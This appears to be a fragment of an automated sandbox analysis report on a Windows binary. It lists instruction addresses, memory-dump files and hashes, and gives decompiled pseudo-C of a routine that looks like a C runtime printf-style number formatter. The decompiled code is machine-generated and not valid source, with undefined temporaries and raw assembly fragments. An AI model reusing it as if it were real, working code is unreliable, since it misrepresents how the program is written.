										__eflags =  *((char*)( *((intOrPtr*)(_t639 - 4)))) - 0x30;
										if( *((char*)( *((intOrPtr*)(_t639 - 4)))) == 0x30) {
											goto L178;
										}
										goto L177;
									}
								}
							}
						}
					}
				}
			}

0x00429148
0x00429148
0x00429148
0x00429148
0x00429148
0x00000000
0x004291bd
0x00000000
0x004291bd
0x00000000
0x004291bd
0x004291bd
0x004291c5
0x004291e7
0x004291e7
0x004291ed
0x0042920f
0x00429212
0x00429259
0x00429259
0x0042925c
0x0042927d
0x00429282
0x00429285
0x00429287
0x0042928d
0x0042925e
0x00429262
0x00429267
0x0042926a
0x0042926b
0x00429271
0x00429271
0x00429214
0x00429217
0x00429217
0x0042921a
0x0042923c
0x00429241
0x00429247
0x00429248
0x0042924e
0x0042921c
0x00429220
0x00429225
0x00429229
0x0042922a
0x00429230
0x00429230
0x00429254
0x004291ef
0x004291f3
0x004291f8
0x004291fb
0x00429201
0x00429201
0x004291c7
0x004291cb
0x004291d0
0x004291d3
0x004291d9
0x004291d9
0x00429299
0x004292db
0x004292e1
0x004292ed
0x00000000
0x0042929b
0x0042929b
0x0042929b
0x004292a2
0x00000000
0x004292af
0x004292af
0x004292bd
0x004292c2
0x004292c8
0x004292d6
0x004292f3
0x004292fb
0x0042931d
0x0042931d
0x00429327
0x00429338
0x0042933b
0x00429342
0x00429344
0x00429344
0x00429329
0x00429329
0x00429329
0x00429357
0x00429359
0x00429359
0x00429366
0x00429369
0x00429369
0x0042936f
0x00429372
0x00429377
0x00000000
0x00000000
0x00429387
0x0042938a
0x00429394
0x004293a3
0x004293ac
0x004293c2
0x004293c8
0x004293d5
0x004293e3
0x004293e3
0x004293f2
0x004293fa
0x004293fa
0x00429402
0x0042940b
0x00429414
0x0042941a
0x00429420
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00429455
0x00429458
0x0042945b
0x00429460
0x00429465
0x0042947c
0x0042947f
0x00429496
0x00429499
0x004294a0
0x004294a4
0x004294a4
0x00429481
0x00429486
0x0042948a
0x0042948a
0x00429467
0x0042946c
0x00429470
0x00429470
0x00429465
0x004294b4
0x004294bd
0x004294c0
0x004294d6
0x004294db
0x004294db
0x004294f1
0x004294f6
0x004294fc
0x004294ff
0x00429504
0x00429507
0x0042951d
0x00429522
0x00429522
0x00429507
0x00429525
0x00429529
0x004295e3
0x004295f6
0x004295fb
0x00000000
0x0042952f
0x0042952f
0x0042952f
0x00429533
0x00000000
0x00000000
0x00429539
0x0042953c
0x00429545
0x0042954b
0x0042954b
0x0042955a
0x00429560
0x00429562
0x00000000
0x00000000
0x00429564
0x00429567
0x0042958c
0x00429591
0x00429594
0x0042959a
0x004295a1
0x004295af
0x004295c2
0x004295c7
0x004295d6
0x00000000
0x004295d6
0x004295a3
0x004295a3
0x00000000
0x004295a3
0x004295e1
0x004295fe
0x004295fe
0x00429605
0x0042960a
0x0042960d
0x00429623
0x00429628
0x00429628
0x0042960d
0x00429605
0x0042962b
0x0042962b
0x0042962f
0x00429637
0x0042963c
0x0042963f
0x0042963f
0x00429646
0x00429646
0x0042887b
0x0042888f
0x00428892
0x00428894
0x00000000
0x00000000
0x0042889a
0x0042889a
0x004288a1
0x00000000
0x00000000
0x004288a7
0x004288ae
0x004288b1
0x004288d8
0x004288d8
0x004288e2
0x004288e8
0x004288fa
0x00428905
0x00428911
0x00428917
0x0042891e
0x00000000
0x00000000
0x00428924
0x0042892a
0x00000000
0x00428931
0x00428931
0x0042894b
0x00428950
0x00000000
0x00000000
0x00428958
0x00428958
0x0042895f
0x00428962
0x00428965
0x00428968
0x0042896b
0x0042896e
0x00428971
0x00428978
0x0042897f
0x00000000
0x00000000
0x0042898b
0x0042898b
0x00428992
0x0042899e
0x004289a1
0x004289a7
0x004289ae
0x00000000
0x00000000
0x004289b0
0x004289b6
0x004289b6
0x004289bd
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00428a01
0x00428a01
0x00428a08
0x00428a0b
0x00428a35
0x00428a38
0x00428a38
0x00428a42
0x00428a42
0x00428a46
0x00428a0d
0x00428a0d
0x00428a19
0x00428a1c
0x00428a20
0x00428a22
0x00428a25
0x00428a25
0x00428a28
0x00428a2b
0x00428a2e
0x00428a30
0x00428a30
0x00428a33
0x00428a49
0x00000000
0x00000000
0x00428a4e
0x00428a4e
0x00000000
0x00000000
0x00428a5a
0x00428a5a
0x00428a61
0x00428a64
0x00428a84
0x00428a87
0x00428a87
0x00428a91
0x00428a91
0x00428a95
0x00428a66
0x00428a66
0x00428a72
0x00428a75
0x00428a79
0x00428a7b
0x00428a7b
0x00428a82
0x00428a98
0x00000000
0x00000000
0x00428a9d
0x00428a9d
0x00428aa4
0x00428ab0
0x00428ab3
0x00428ab9
0x00428ac0
0x00428bd3
0x00000000
0x00428bd3
0x00428ac6
0x00428acc
0x00428acc
0x00428ad3
0x00000000
0x00428b0a
0x00428b0a
0x00428b0d
0x00428b10
0x00428b13
0x00428b3a
0x00428b3a
0x00428b3d
0x00428b40
0x00428b43
0x00428b67
0x00428b67
0x00428b6a
0x00428b6d
0x00428b70
0x00428ba9
0x00428bba
0x00000000
0x00428bba
0x00428b72
0x00428b72
0x00428b75
0x00428b78
0x00428b7b
0x00000000
0x00000000
0x00428b7d
0x00428b7d
0x00428b80
0x00428b83
0x00428b86
0x00000000
0x00000000
0x00428b88
0x00428b88
0x00428b8b
0x00428b8e
0x00428b91
0x00000000
0x00000000
0x00428b93
0x00428b93
0x00428b96
0x00428b99
0x00428b9c
0x00000000
0x00000000
0x00428b9e
0x00428b9e
0x00428ba1
0x00428ba4
0x00428ba7
0x00428bab
0x00000000
0x00428bab
0x00000000
0x00428ba7
0x00428b45
0x00428b45
0x00428b48
0x00428b4c
0x00428b4f
0x00000000
0x00428b51
0x00428b54
0x00428b57
0x00428b5d
0x00428b62
0x00000000
0x00428b62
0x00428b4f
0x00428b15
0x00428b15
0x00428b18
0x00428b1c
0x00428b1f
0x00000000
0x00428b21
0x00428b24
0x00428b27
0x00428b2d
0x00428b32
0x00000000
0x00428b32
0x00000000
0x00428bbc
0x00428bbc
0x00428bbf
0x00428bc2
0x00000000
0x00000000
0x00428ada
0x00428ada
0x00428add
0x00428ae0
0x00428ae3
0x00428afc
0x00428aff
0x00428aff
0x00428b02
0x00428ae5
0x00428ae5
0x00428ae8
0x00428aeb
0x00428af1
0x00428af7
0x00428af7
0x00428b05
0x00000000
0x00000000
0x00428bc7
0x00428bc7
0x00428bca
0x00428bca
0x00428bd0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00428bd8
0x00428bd8
0x00428bdf
0x00428be5
0x00428beb
0x00428bee
0x00428bf4
0x00428bfb
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x0042944b
0x00428c01
0x00428c01
0x00428c07
0x00428c07
0x00428c0e
0x00000000
0x00428f92
0x00428f92
0x00428fa0
0x00428fa0
0x00428fa3
0x00000000
0x00000000
0x00428c15
0x00428c18
0x00428c18
0x00428c1e
0x00428c20
0x00428c23
0x00428c23
0x00428c26
0x00428c26
0x00000000
0x00000000
0x00428d5b
0x00428d5e
0x00428d5e
0x00428d63
0x00428d65
0x00428d68
0x00428d68
0x00428d6b
0x00428d6b
0x00000000
0x00000000
0x00429158
0x00429158
0x00000000
0x00000000
0x00428cc5
0x00428cc5
0x00428cd1
0x00428cd7
0x00428cde
0x00428cec
0x00428cec
0x00428cf2
0x00428cf5
0x00428d01
0x00428d56
0x00000000
0x00428d56
0x00428ce0
0x00428ce0
0x00428ce6
0x00428cea
0x00428d06
0x00428d09
0x00428d09
0x00428d0f
0x00428d37
0x00428d3e
0x00428d44
0x00428d47
0x00428d4a
0x00428d50
0x00428d53
0x00428d11
0x00428d11
0x00428d17
0x00428d1a
0x00428d1d
0x00428d23
0x00428d26
0x00428d29
0x00428d2b
0x00428d2e
0x00428d2e
0x00000000
0x00428d0f
0x00000000
0x00000000
0x00428faa
0x00428fad
0x00428fb0
0x00428fb3
0x00428fb9
0x00428fbc
0x00428fc3
0x00428fc7
0x00428fd2
0x00428fd2
0x00428fd6
0x00428fed
0x00428fed
0x00428ff4
0x00428ff6
0x00428ff6
0x00428ffd
0x00428ffd
0x00429004
0x00429012
0x00429015
0x00429024
0x00429027
0x0042902b
0x00429040
0x0042902d
0x0042902d
0x00429030
0x00429036
0x0042903b
0x0042903b
0x0042902b
0x0042904a
0x0042904d
0x00429050
0x00429053
0x00429056
0x00429059
0x0042905f
0x00429065
0x0042906d
0x0042906e
0x00429071
0x00429072
0x00429075
0x00429076
0x0042907d
0x0042907e
0x00429081
0x00429082
0x00429085
0x00429086
0x0042908c
0x0042908d
0x00429093
0x00429094
0x0042909a
0x0042909c
0x004290a2
0x004290a2
0x004290a7
0x004290a9
0x004290ad
0x004290af
0x004290b2
0x004290b7
0x004290b8
0x004290bb
0x004290bc
0x004290c2
0x004290c3
0x004290c9
0x004290cb
0x004290cb
0x004290ad
0x004290ce
0x004290d5
0x004290d8
0x004290dd
0x004290dd
0x004290e3
0x004290e5
0x004290ed
0x004290ee
0x004290f1
0x004290f2
0x004290f7
0x004290f8
0x004290fe
0x00429100
0x00429100
0x004290e3
0x00429103
0x00429106
0x00429109
0x0042910c
0x00429111
0x00429116
0x00429119
0x0042911c
0x0042911c
0x0042911f
0x0042911f
0x00429122
0x0042912e
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x00000000
0x0042944b
0x00428fd8
0x00428fd8
0x00428fdf
0x00428fe2
0x00000000
0x00000000
0x00428fe4
0x00428fe4
0x00000000
0x00428fe4
0x00428fc9
0x00428fc9
0x00000000
0x00000000
0x00428c29
0x00428c29
0x00428c34
0x00428c3c
0x00428c43
0x00428c46
0x00428c46
0x00428c49
0x00428ca2
0x00428ca9
0x00428cb0
0x00428cb0
0x00428cb6
0x00428cb9
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x0042944b
0x00428c4b
0x00428c52
0x00428c58
0x00428c5e
0x00428c65
0x00428c68
0x00428c6e
0x00428c76
0x00428c78
0x00428c7f
0x00428c86
0x00428c8d
0x00428c95
0x00428c97
0x00428c99
0x00428c99
0x00428ca0
0x00000000
0x00000000
0x00429136
0x00429139
0x0042913c
0x0042913f
0x00000000
0x00000000
0x00428e9b
0x00428e9b
0x00428ea7
0x00428ead
0x00428eb2
0x00428eb4
0x00428f5e
0x00428f5e
0x00428f61
0x00428f61
0x00428f64
0x00428f78
0x00428f7e
0x00428f84
0x00428f66
0x00428f66
0x00428f6c
0x00428f73
0x00428f73
0x00428f86
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x0042944b
0x00428eba
0x00428eba
0x00428eba
0x00428ebc
0x00428eca
0x00428ebe
0x00428ebe
0x00428ebe
0x00428ed4
0x00428eda
0x00428ee0
0x00428ee7
0x00428ee9
0x00428eee
0x00428ef0
0x00428ef5
0x00428efa
0x00428efc
0x00428f01
0x00428f04
0x00428f07
0x00428f09
0x00428f09
0x00428f07
0x00428f0a
0x00428f11
0x00428f59
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x00428f13
0x00428f13
0x00428f18
0x00428f34
0x00428f3c
0x00428f46
0x00428f49
0x00428f4e
0x00429665
0x00429668
0x00429672
0x00429672
0x00000000
0x0042919f
0x0042919f
0x004291a9
0x004291a9
0x004291af
0x004291b1
0x004291b4
0x004291b4
0x004291ba
0x004291ba
0x00000000
0x00000000
0x00429151
0x00429151
0x00000000
0x00000000
0x00428d6e
0x00428d6e
0x00428d72
0x00428d80
0x00428d83
0x00428d74
0x00428d74
0x00428d74
0x00428d89
0x00428d8f
0x00428d95
0x00428da1
0x00428da7
0x00428da7
0x00428daa
0x00428e32
0x00428e32
0x00428e36
0x00428e38
0x00428e3e
0x00428e3e
0x00428e41
0x00428e48
0x00428e4b
0x00428e51
0x00428e51
0x00428e51
0x00428e57
0x00428e5d
0x00428e60
0x00428e66
0x00428e68
0x00000000
0x00000000
0x00428e6a
0x00428e6a
0x00428e70
0x00428e73
0x00428e75
0x00000000
0x00000000
0x00428e77
0x00428e7d
0x00428e80
0x00428e80
0x00428e88
0x00428e88
0x00428e8e
0x00428e8e
0x00428e93
0x00000000
0x00428db0
0x00428db0
0x00428db0
0x00428db4
0x00428db6
0x00428dbb
0x00428dbb
0x00428dbe
0x00428dc1
0x00428dc7
0x00428dd9
0x00428dd9
0x00428dd9
0x00428ddc
0x00428de2
0x00000000
0x00000000
0x00428de4
0x00428de4
0x00428dea
0x00428ded
0x00428def
0x00000000
0x00000000
0x00428df1
0x00428df1
0x00428dfa
0x00428e00
0x00428e04
0x00428e0c
0x00428e0e
0x00428e10
0x00428e16
0x00428e16
0x00428e19
0x00428e19
0x00428e25
0x00428e28
0x00428dd0
0x00428dd3
0x00428dd3
0x00428dd6
0x00428dd6
0x00428e30
0x00428e96
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x0042944b
0x00000000
0x00000000
0x00000000
0x00429164
0x00429164
0x0042916e
0x0042916e
0x00429178
0x00429178
0x0042917e
0x00429180
0x00429185
0x0042918f
0x0042918f
0x00429192
0x00429196
0x00429196
0x00000000
0x00000000
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x00000000
0x00000000
0x004289da
0x004289da
0x004289dd
0x004289e0
0x00000000
0x00000000
0x004289e5
0x004289e8
0x004289ee
0x00000000
0x00000000
0x004289cf
0x004289d2
0x004289d5
0x00000000
0x00000000
0x004289c4
0x004289c7
0x004289ca
0x00000000
0x00000000
0x004289f3
0x004289f3
0x004289f6
0x004289f6
0x004289f9
0x00000000
0x00000000
0x004289fc
0x00000000
0x00000000
0x0042892a
0x004288b3
0x004288ba
0x004288bd
0x00000000
0x004288bf
0x004288d0
0x00000000
0x004288d0
0x004288bd
0x0042964b
0x00429651
0x0042965a
0x0042965f
0x00000000
0x0042965f
0x0042944b
0x00429422
0x00429422
0x00429426
0x00429433
0x00429439
0x0042943f
0x00429445
0x00429445
0x00429448
0x00000000
0x00429448
0x00429428
0x0042942e
0x00429431
0x00000000
0x00000000
0x00000000
0x00429431
0x004292a2
0x00429299
0x004291bd
0x004291bd
0x004291bd

APIs

_get_int64_arg.LIBCMTD ref: 004291CB
_get_int64_arg.LIBCMTD ref: 004291F3
__aullrem.LIBCMT ref: 0042939B
__aulldiv.LIBCMT ref: 004293BD

Strings

9, xrefs: 004293CE

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 03eb08d990aecd05694909a0f71393d12aa9cdb6516a1232e9919dd9fe87c8fd
Instruction ID: 198b67a92ef7e75c8719f9eab1b1c5070ebb3b4c19bc8a8ad3e1aeff05bcec0f
Opcode Fuzzy Hash: 03eb08d990aecd05694909a0f71393d12aa9cdb6516a1232e9919dd9fe87c8fd
Instruction Fuzzy Hash: AE4115B1E00129DFDB24CF48D981BAEB7B5BF89314F5040DAE549A7241C7785E81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0042A377, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E0042A377(signed int __edx) {
				signed int _t483;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t517;
				void* _t535;
				signed int _t539;
				signed int _t556;
				signed short _t557;
				signed int _t560;
				signed int _t563;
				signed int _t564;
				intOrPtr _t565;
				signed int _t611;
				signed int _t619;
				signed int _t621;
				signed int _t623;
				signed int _t630;
				signed int _t642;
				signed int _t669;
				intOrPtr _t670;
				intOrPtr _t671;
				signed int _t672;
				void* _t674;
				void* _t675;
				signed int _t681;

				L0:
				while(1) {
					L0:
					_t619 = __edx;
					 *(_t672 - 8) = 0xa;
					L150:
					while(1) {
						L150:
						while(1) {
							L150:
							while(1) {
								L150:
								if(( *(_t672 - 0x10) & 0x00008000) == 0) {
									_t621 =  *(_t672 - 0x10) & 0x00001000;
									__eflags = _t621;
									if(_t621 == 0) {
										__eflags =  *(_t672 - 0x10) & 0x00000020;
										if(( *(_t672 - 0x10) & 0x00000020) == 0) {
											_t623 =  *(_t672 - 0x10) & 0x00000040;
											__eflags = _t623;
											if(_t623 == 0) {
												_t483 = E00429820(_t672 + 0x14);
												_t675 = _t674 + 4;
												__eflags = 0;
												 *(_t672 - 0x4a0) = _t483;
												 *(_t672 - 0x49c) = 0;
											} else {
												_t556 = E00429820(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t556;
												 *(_t672 - 0x49c) = _t623;
											}
										} else {
											_t669 =  *(_t672 - 0x10) & 0x00000040;
											__eflags = _t669;
											if(_t669 == 0) {
												_t557 = E00429820(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t557 & 0x0000ffff;
												 *(_t672 - 0x49c) = _t669;
											} else {
												_t560 = E00429820(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t560;
												 *(_t672 - 0x49c) = _t669;
											}
										}
									} else {
										_t563 = E00429840(_t672 + 0x14);
										_t675 = _t674 + 4;
										 *(_t672 - 0x4a0) = _t563;
										 *(_t672 - 0x49c) = _t621;
									}
								} else {
									_t564 = E00429840(_t672 + 0x14);
									_t675 = _t674 + 4;
									 *(_t672 - 0x4a0) = _t564;
									 *(_t672 - 0x49c) = _t619;
								}
								if(( *(_t672 - 0x10) & 0x00000040) == 0) {
									L167:
									 *(_t672 - 0x4a8) =  *(_t672 - 0x4a0);
									 *(_t672 - 0x4a4) =  *(_t672 - 0x49c);
									goto L168;
								} else {
									L163:
									_t681 =  *(_t672 - 0x49c);
									if(_t681 > 0 || _t681 >= 0 &&  *(_t672 - 0x4a0) >= 0) {
										goto L167;
									} else {
										L166:
										asm("adc edx, 0x0");
										 *(_t672 - 0x4a8) =  ~( *(_t672 - 0x4a0));
										 *(_t672 - 0x4a4) =  ~( *(_t672 - 0x49c));
										 *(_t672 - 0x10) =  *(_t672 - 0x10) | 0x00000100;
										L168:
										if(( *(_t672 - 0x10) & 0x00008000) == 0 && ( *(_t672 - 0x10) & 0x00001000) == 0) {
											 *(_t672 - 0x4a4) =  *(_t672 - 0x4a4) & 0x00000000;
										}
										if( *(_t672 - 0x30) >= 0) {
											 *(_t672 - 0x10) =  *(_t672 - 0x10) & 0xfffffff7;
											__eflags =  *(_t672 - 0x30) - 0x200;
											if( *(_t672 - 0x30) > 0x200) {
												 *(_t672 - 0x30) = 0x200;
											}
										} else {
											 *(_t672 - 0x30) = 1;
										}
										if(( *(_t672 - 0x4a8) |  *(_t672 - 0x4a4)) == 0) {
											 *(_t672 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t672 - 4)) = _t672 - 0x249;
										while(1) {
											L178:
											_t629 =  *(_t672 - 0x30) - 1;
											 *(_t672 - 0x30) =  *(_t672 - 0x30) - 1;
											if( *(_t672 - 0x30) <= 0 && ( *(_t672 - 0x4a8) |  *(_t672 - 0x4a4)) == 0) {
												break;
											}
											L180:
											asm("cdq");
											_t630 =  *(_t672 - 0x4a8);
											 *((intOrPtr*)(_t672 - 0x494)) = E00437DD0(_t630,  *(_t672 - 0x4a4),  *(_t672 - 8), _t629) + 0x30;
											asm("cdq");
											 *(_t672 - 0x4a8) = E00437D60( *(_t672 - 0x4a8),  *(_t672 - 0x4a4),  *(_t672 - 8), _t630);
											 *(_t672 - 0x4a4) = _t630;
											if( *((intOrPtr*)(_t672 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t672 - 0x494)) =  *((intOrPtr*)(_t672 - 0x494)) +  *((intOrPtr*)(_t672 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t672 - 4)))) =  *((intOrPtr*)(_t672 - 0x494));
											 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) - 1;
										}
										L183:
										 *(_t672 - 0x24) = _t672 - 0x249 -  *((intOrPtr*)(_t672 - 4));
										 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) + 1;
										__eflags =  *(_t672 - 0x10) & 0x00000200;
										if(( *(_t672 - 0x10) & 0x00000200) == 0) {
											while(1) {
												L187:
												__eflags =  *(_t672 - 0x28);
												if( *(_t672 - 0x28) != 0) {
													goto L212;
												}
												L188:
												__eflags =  *(_t672 - 0x10) & 0x00000040;
												if(( *(_t672 - 0x10) & 0x00000040) != 0) {
													__eflags =  *(_t672 - 0x10) & 0x00000100;
													if(( *(_t672 - 0x10) & 0x00000100) == 0) {
														__eflags =  *(_t672 - 0x10) & 0x00000001;
														if(( *(_t672 - 0x10) & 0x00000001) == 0) {
															__eflags =  *(_t672 - 0x10) & 0x00000002;
															if(( *(_t672 - 0x10) & 0x00000002) != 0) {
																 *((short*)(_t672 - 0x14)) = 0x20;
																 *(_t672 - 0x1c) = 1;
															}
														} else {
															 *((short*)(_t672 - 0x14)) = 0x2b;
															 *(_t672 - 0x1c) = 1;
														}
													} else {
														 *((short*)(_t672 - 0x14)) = 0x2d;
														 *(_t672 - 0x1c) = 1;
													}
												}
												 *((intOrPtr*)(_t672 - 0x4ac)) =  *((intOrPtr*)(_t672 - 0x18)) -  *(_t672 - 0x24) -  *(_t672 - 0x1c);
												__eflags =  *(_t672 - 0x10) & 0x0000000c;
												if(__eflags == 0) {
													E004297E0(0x20,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
													_t675 = _t675 + 0x10;
												}
												E0042AA50( *(_t672 - 0x1c), __eflags, _t672 - 0x14,  *(_t672 - 0x1c),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
												_t675 = _t675 + 0x10;
												__eflags =  *(_t672 - 0x10) & 0x00000008;
												if(( *(_t672 - 0x10) & 0x00000008) != 0) {
													__eflags =  *(_t672 - 0x10) & 0x00000004;
													if(( *(_t672 - 0x10) & 0x00000004) == 0) {
														E004297E0(0x30,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
														_t675 = _t675 + 0x10;
													}
												}
												__eflags =  *(_t672 - 0xc);
												if(__eflags != 0) {
													L208:
													E0042AA50( *(_t672 - 0x24), __eflags,  *((intOrPtr*)(_t672 - 4)),  *(_t672 - 0x24),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
													_t675 = _t675 + 0x10;
													goto L209;
												} else {
													L201:
													__eflags =  *(_t672 - 0x24);
													if(__eflags <= 0) {
														goto L208;
													}
													L202:
													 *((intOrPtr*)(_t672 - 0x4b0)) =  *((intOrPtr*)(_t672 - 4));
													 *(_t672 - 0x4b4) =  *(_t672 - 0x24);
													while(1) {
														L203:
														 *(_t672 - 0x4b4) =  *(_t672 - 0x4b4) - 1;
														__eflags =  *(_t672 - 0x4b4);
														if( *(_t672 - 0x4b4) <= 0) {
															break;
														}
														L204:
														_t535 = E00423790(_t672 - 0x40);
														_t539 = E00439180(_t672 - 0x458,  *((intOrPtr*)(_t672 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E00423790(_t672 - 0x40))) + 0xac)), _t535);
														_t675 = _t675 + 0x10;
														 *(_t672 - 0x4b8) = _t539;
														__eflags =  *(_t672 - 0x4b8);
														if( *(_t672 - 0x4b8) > 0) {
															L206:
															E00429780( *(_t672 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
															_t675 = _t675 + 0xc;
															 *((intOrPtr*)(_t672 - 0x4b0)) =  *((intOrPtr*)(_t672 - 0x4b0)) +  *(_t672 - 0x4b8);
															continue;
														}
														L205:
														 *(_t672 - 0x44c) = 0xffffffff;
														break;
													}
													L207:
													L209:
													__eflags =  *(_t672 - 0x44c);
													if( *(_t672 - 0x44c) >= 0) {
														__eflags =  *(_t672 - 0x10) & 0x00000004;
														if(( *(_t672 - 0x10) & 0x00000004) != 0) {
															E004297E0(0x20,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
															_t675 = _t675 + 0x10;
														}
													}
												}
												L212:
												__eflags =  *(_t672 - 0x20);
												if( *(_t672 - 0x20) != 0) {
													L00422680( *(_t672 - 0x20), 2);
													_t675 = _t675 + 8;
													 *(_t672 - 0x20) = 0;
												}
												while(1) {
													L214:
													 *(_t672 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t672 + 0xc))));
													_t578 =  *(_t672 - 0x454) & 0x0000ffff;
													 *((intOrPtr*)(_t672 + 0xc)) =  *((intOrPtr*)(_t672 + 0xc)) + 2;
													__eflags =  *(_t672 - 0x454) & 0x0000ffff;
													if(( *(_t672 - 0x454) & 0x0000ffff) == 0) {
														break;
													}
													L2:
													__eflags =  *(_t672 - 0x44c);
													if( *(_t672 - 0x44c) < 0) {
														break;
													}
													L3:
													__eflags = ( *(_t672 - 0x454) & 0x0000ffff) - 0x20;
													if(( *(_t672 - 0x454) & 0x0000ffff) < 0x20) {
														L6:
														 *(_t672 - 0x4d8) = 0;
														L7:
														 *(_t672 - 0x450) =  *(_t672 - 0x4d8);
														_t642 =  *(_t672 - 0x450) * 9;
														_t509 =  *(_t672 - 0x45c);
														_t586 = ( *(_t642 + _t509 + 0x4092e8) & 0x000000ff) >> 4;
														 *(_t672 - 0x45c) = ( *(_t642 + _t509 + 0x4092e8) & 0x000000ff) >> 4;
														__eflags =  *(_t672 - 0x45c) - 8;
														if( *(_t672 - 0x45c) != 8) {
															L16:
															 *(_t672 - 0x4e0) =  *(_t672 - 0x45c);
															__eflags =  *(_t672 - 0x4e0) - 7;
															if( *(_t672 - 0x4e0) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t672 - 0x4e0) * 4 +  &M0042A94C))) {
																case 0:
																	L18:
																	 *(_t672 - 0xc) = 1;
																	E00429780( *(_t672 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																	_t675 = _t675 + 0xc;
																	goto L214;
																case 1:
																	L19:
																	 *(__ebp - 0x2c) = 0;
																	__ecx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) = __ecx;
																	__edx =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__eax =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L214;
																case 2:
																	L20:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e4) = __ecx;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	__eflags =  *(__ebp - 0x4e4) - 0x10;
																	if( *(__ebp - 0x4e4) > 0x10) {
																		goto L27;
																	}
																	L21:
																	_t57 =  *(__ebp - 0x4e4) + 0x42a984; // 0x498d04
																	__ecx =  *_t57 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M0042A96C))) {
																		case 0:
																			goto L24;
																		case 1:
																			goto L25;
																		case 2:
																			goto L23;
																		case 3:
																			goto L22;
																		case 4:
																			goto L26;
																		case 5:
																			goto L27;
																	}
																case 3:
																	L28:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__edx =  *(__ebp - 0x18);
																		__edx =  *(__ebp - 0x18) * 0xa;
																		__eflags = __edx;
																		_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__ecx = __edx + _t81;
																		 *(__ebp - 0x18) = __ecx;
																	} else {
																		__edx = __ebp + 0x14;
																		 *(__ebp - 0x18) = E00429820(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			__ecx =  *(__ebp - 0x18);
																			__ecx =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) = __ecx;
																		}
																	}
																	L33:
																	goto L214;
																case 4:
																	L34:
																	 *(__ebp - 0x30) = 0;
																	goto L214;
																case 5:
																	L35:
																	__edx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__ecx =  *(__ebp - 0x30);
																		__ecx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __ecx;
